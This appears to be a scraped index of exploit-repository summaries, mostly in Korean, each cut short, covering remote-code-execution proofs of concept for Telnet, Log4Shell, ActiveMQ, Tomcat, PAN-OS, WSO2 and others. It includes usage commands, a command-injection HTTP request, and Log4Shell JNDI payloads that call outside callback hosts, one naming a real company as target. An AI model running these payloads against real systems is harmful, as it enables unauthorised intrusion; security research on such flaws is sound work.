CVE-2026-24061

CVE-2026-24061 Telnet RCE 익스플로잇 - SafeBreach Labs 제작 이 스크립트는 형식이 잘못된 USER 환경 변수를 사용하여 Telnet 서버의 CVE-2026-24061 취약점을 악용합니다. 사용법 대상 호스트로 스크립트를 실행합니다: python telnetrce.py -p 인수 host: 대상 IP 주소 또는 호스트 이름 필수 -p, --port: 대상 포트 기본값: 23 예제 python telnetrce.py 192.168.1.100 python telnetrce.py example.com...

log4shell-vulnerable-app

Log4Shell 샘플 취약 애플리케이션 CVE-2021-44228 이 저장소는 CVE-2021-44228에 취약한 Spring Boot 웹 애플리케이션을 포함합니다. 이 취약점은 Log4Shell로 알려져 있습니다. Log4j 2.14.1 spring-boot-starter-log4j2 2.6.1을 통해과 JDK 1.8.0181을 사용합니다. 애플리케이션 실행 다음 명령어로 실행하세요: docker run --name vulnerable-app --rm -p 8080:8080...

CVE-2016-3088

CVE-2016-3088 Apache ActiveMQ 원격 코드 실행 익스플로잇 설명 Apache ActiveMQ 5.x5.14.0 미만의 Fileserver 웹 애플리케이션은 원격 공격자가 HTTP PUT 후 HTTP MOVE 요청을 통해 임의의 파일을 업로드하고 실행할 수 있게 합니다. 작성자 Alexandre Aguiar @cyberaguiar 익스플로잇 분석 Apache ActiveMQ 원격 코드 실행 취약점 분석 CVE-2016–3088 참고 자료...

Log4j-RCE-Exploiter

Log4j-RCE-Exploiter Log4j RCE CVE-2021-44228을 위한 스캐너 설치 설치를 위해 SUPERUSERROOT 권한으로 다음 명령을 실행하세요: ▶ cd Log4j-RCE-Exploiter ▶ chmod 777 installer.sh ▶ ./installer.sh 사용법 ▶ log4jExploiter -d tesla.com -b 6nuulng8dd2sivtd3kht31s9e0kq8f.burpcollaborator.net -h, --help Display help -l, --url-list List o...

CVE-2026-3891-Pix-for-WooCommerce-Plugin-Exploit

CVE-2026-3891-Pix-for-WooCommerce-Plugin-Exploit 🛡️ 설명 CVE-2026-3891 은 Pix for WooCommerce WordPress 플러그인의 1.5.0 및 이전 버전 에서 발견된 치명적인 인증되지 않은 임의 파일 업로드Unauthenticated Arbitrary File Upload 취약점입니다. 이 취약점은 lknpixforwoocommercec6savesettings 기능에 존재하며, 인증 제어 누락과 불충분한 파일 유형 검증으로 인해 발생합니다. 이 익스플로잇은 유효한...

cve-2025-32433-erlang_ssh_rce_reproduction

CVE-2025-32433: Erlang/OTP SSH 데몬 사전 인증 원격 코드 실행 CVSS 점수: 10.0 CRITICAL 상태: 실제 환경에서 적극적으로 악용됨 공개: 2025년 6월 개요 CVE-2025-32433은 Erlang/OTP에 포함된 SSH 서버 구현ssh 애플리케이션에서 발생하는 중요한 인증되지 않은 원격 코드 실행 취약점입니다. 이 결함은 인증이 완료되기 전 SSH 연결 처리 로직에 존재하므로, 악용을 위해 유효한 자격 증명이 필요하지 않습니다. 취약한 Erlang SSH 포트일반적으로 22번 포트, 또...

CVE-2024-23692

CVE-2024-23692 BURP POC GET /?n=%0A&cmd=ipconfig+/all&search=%25xxx%25url:%password%.exec|.?cmd.|timeout=15|out=abc..?n..?n.RESULT:.?n..^abc.====.?n. HTTP/1.1 Host: xxxx User-Agent: Mozilla/5.0 X11; Linux x8664; rv:109.0 Gecko/20100101 Firefox/115.0 Accept:...

CVE-2017-12615

CVE-2017-12615 Tomcat 원격 코드 실행 취약점 Exploit java -jar CVE-2017-12615-Exploit.jar Url ShellName ShellValue www.SecFree.com · · · 一┳═┻︻▄ Tomcat RCE CVE-2017-12615 ▄︻┻═┳一 · · · 영향: Apache Tomcat 7.0.0 - 7.0.79 0day 정보: https://www.secfree.com/article-399.html 도움말: Url ShellName ShellValue 저자:...

Nuclei-Template-Exploit-F5-BIG-IP-iControl-REST-Auth-Bypass-RCE-Command-Parameter

Nuclei 템플릿 F5 BIG-IP iControl REST 인증 우회 RCE 익스플로잇 | 명령 매개변수 CVE-2022-1388은 BIG-IP iControl API의 REST 구성 요소에 대한 인증 우회 취약점으로, CVSSv3 점수 9.8을 부여받았습니다. iControl REST API는 BIG-IP 장치의 관리 및 구성에 사용됩니다. CVE-2022-1388은 BIG-IP를 사용하는 장치의 관리 포트 또는 자체 IP 주소에 네트워크 접근 권한이 있는 인증되지 않은 공격자에 의해 악용될 수 있습니다. 악용에 성공하면...

CVE-2024-0012_CVE-2024-9474_PoC

🚀 CVE-2024-0012 & CVE-2024-9474 Palo Alto PAN-OS 익스플로잇 🔐 🛡️ 설명 이 PoCProof-of-Concept 스크립트는 Palo Alto PAN-OS의 취약점, 특히 CVE-2024-0012 및 CVE-2024-9474 를 대상으로 하며, 인증 우회, 페이로드 생성, 청크 전송, 원활한 명령 실행 등 익스플로잇 과정을 자동화합니다. ⚠️ 이 스크립트는 교육 및 공인된 침투 테스트 목적으로만 사용됩니다. 무단 사용은 불법입니다. 🔍 대상 취약점 CVE-2024-0012 유형 : 인증 우회...

http-vuln-CVE-2022-41082

更新バージョンではHTTPSチェックも可能になりました exchange-vuln-check.nse HTTPの場合: nmap -p80 --script exchange-vuln-check.nse HTTPSの場合: nmap -p443 --script exchange-vuln-check.nse 結果をファイルに保存 nmap -p80 --script exchange-vuln-check.nse -oN results.txt http-vuln-CVE-2022-41082 Microsoft Exchange Server のリモートコード実行脆弱性。 nma...

CVE-2023-21971_Analysis

CVE-2023-21971 Connector/J RCE 분석 참조 Remote Code Execution RCE in com.mysql:mysql-connector-j | CVE-2023-21971 | Snyk New Vulnerability in MySQL JDBC Driver: RCE and Unauthorized DB Access MYSQL JDBC反序列化解析 - 跳跳糖 tttang.com 취약점 개요 Oracle MySQL의 MySQL Connectors 제품의 취약점 구성요소: Connector/J. 영향을 받는 지원...

wso2-rce-cve-2022-29464

CVE-2022-29464 WSO2 RCE CVE-2022-29464 익스플로잇. 상세 정보 CVE-2022-29464는 Orange Tsai가 발견한 WSO2의 심각한 취약점입니다. 이 취약점은 인증되지 않은 제한 없는 임의 파일 업로드로, 인증되지 않은 공격자가 악성 JSP 파일을 업로드하여 WSO2 서버에서 RCE를 얻을 수 있게 합니다. 취약한 업로드 경로는 /fileupload이며, 이는 indentity.xml 구성 파일에서 볼 수 있듯이 보호되지 않은 경로인 FileUploadServlet에 의해 처리됩니다.xml...

CVE-2018-16763-Exploit-Python3

CVE-2018-16763 FuelCMS 1.4.1 원격 코드 실행 취약점 이것은 0xd0ff9가 만든 https://www.exploit-db.com/exploits/47138 취약점을 Python 3로 포팅한 것입니다. 익스플로잇을 실행하려면 코드의 url 변수를 공격하려는 대상 URL로 수정하고, 프록시를 사용 중이라면 proxies 목록에 해당 프록시를 추가하세요. 이 익스플로잇은 어떤 종류의 인증도 요구하지 않습니다...

CVE-2021-32708

CVE-2021-32708 이 패키지의 영향을 받는 버전들은 레이스 컨디션Race Condition에 취약합니다. 1.x 및 2.x에서 사용되는 공백 정규화는 모든 유니코드 공백을 제거합니다. 특정 조건 하에서 이는 악의적인 사용자가 원격으로 코드를 실행할 수 있도록 할 수 있습니다. How the Exploit Works 유니코드 우회: 파일명 exploit\u202Ephp.txt는 오른쪽에서 왼쪽으로 재정의RLO 문자를 사용하여 파일 확장자를 위장합니다. 악성 파일 업로드: 파일이 서버에 업로드되어 저장됩니다. 페이로드 실...

cve-2023-34040

CVE-2023-34040 Spring Kafka 역직렬화 원격 코드 실행 POST /messages/send HTTP/1.1 Host: 127.0.0.1:8899 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 Macintosh; Intel Mac OS X 10157 AppleWebKit/537.36 KHTML, like Gecko Chrome/116.0.0.0 Safari/537.36 Accept:...

CVE-2025-61882-CVE-2025-61884

CVE-2025-61882 & CVE-2025-61884 편집: Oracle이 방금 새로운 취약점 CVE-2025-61884를 공개했습니다. 해당 취약점의 탐지 스크립트는 이 저장소에서 찾을 수 있으며 원본은 여기:https://gist.github.com/rxerium/6c70bc6b72fc0d1365c85937d35d9550입니다. Oracle 보안 권고에서 인용: 이 보안 경보는 Oracle E-Business Suite의 취약점 CVE-2025-61882를 다룹니다. 이 취약점은 인증 없이 원격으로 악용될 수 있습니다...

CVE-2017-11882

CVE-2017-11882 익스플로잇 CVE-2017-11882 익스플로잇은 최대 17k 바이트가 넘는 명령/코드를 허용합니다. 원격 명령 실행을 위해 이 익스플로잇은 SWHIDE로 WinExec를 호출하고 WinExec가 반환된 후 ExitProcess를 호출합니다. 원격 코드 실행을 위해 이 익스플로잇은 그냥 코드로 jmp합니다. 객체 구조에 대한 참조를 찾을 수 없어서... 임의 길이의 코드 실행을 위해 파일 길이를 변경할 수 없습니다..: 하지만 17k 바이트면 정말 충분하다고 생각합니다. Python 스크립트가 필요한...

CVE-2022-21907

CVE-2022-21907 설명 - CVE-2022-21907의 POC: HTTP 프로토콜 스택 원격 코드 실행 취약점. - 2022-01-17에 antx가 작성. 상세 - HTTP 프로토콜 스택 원격 코드 실행 취약점. - https://github.com/antx-code/CVE-2021-31166CVE-2021-31166과 유사. - 이 문제는 작년에 https://github.com/antx-code/CVE-2021-31166CVE-2021-31166에서 보고된 이후로도 여전히 존재합니다. CVE 심각도 -...

Log4Shell-Payloads

🚨 Log4Shell 페이로드 컬렉션 Log4Shell / Log4J 익스플로잇 페이로드 의 엄선된 목록으로 다음을 대상으로 합니다: CVE-2021-45046 CVE-2022-42889 🔗 제작: @nav1n0x 🔥 한 줄 페이로드 ✅ 원라이너 1bash cat vulnerable-hosts.txt | sed 's/https?:////' | xargs -I echo '/$jndi:ldap://.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a' L4SFuzzList httpx -l...